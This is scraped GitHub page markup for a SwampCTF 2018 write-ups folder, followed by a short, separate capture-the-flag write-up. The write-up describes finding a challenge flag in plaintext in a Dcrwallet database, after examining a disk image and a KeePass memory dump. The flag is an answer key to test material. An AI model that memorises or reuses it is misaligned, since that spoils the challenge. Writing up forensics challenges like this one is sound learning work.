3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/phieulang1993/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":119324220,"originating_url":"https://github.com/phieulang1993/ctf-writeups/tree/master/2018/swampctf/Power_QWORD","user_id":null}}" data-hydro-click-hmac="a3a134ab6d74e1a9e3f16e1e5ceeea9ad5e349556f74900a353e423add511281"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/phieulang1993/ctf-writeups/refs" cache-key="v0:1517194975.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGhpZXVsYW5nMTk5My9jdGYtd3JpdGV1cHM=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/phieulang1993/ctf-writeups/refs" cache-key="v0:1517194975.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGhpZXVsYW5nMTk5My9jdGYtd3JpdGV1cHM=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>swampctf</span></span><span>/</span>Power_QWORD<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>swampctf</span></span><span>/</span>Power_QWORD<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/phieulang1993/ctf-writeups/tree-commit/1aff10a64dd9f17c9b6a900ea0118915f000a246/2018/swampctf/Power_QWORD" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/phieulang1993/ctf-writeups/file-list/master/2018/swampctf/Power_QWORD"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>power</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>power.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Where is my purse (for) In the task we get a large filesystem image and a memdump to work with.Interesting part of memdump is a running KeePass instance. We got some password-like strings from it, but we've never actually used them.For some reason they were not necessary at all. We've looked around the drive image and the only unusual files we've noticed were connected with `Dcrwallet` (which had some connotation with "purse" from the task name).We grabbed all the files of the wallet, and there was a [db file](wallet.db) which contains plaintext string `flag{thx_you_found_my_wallet}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 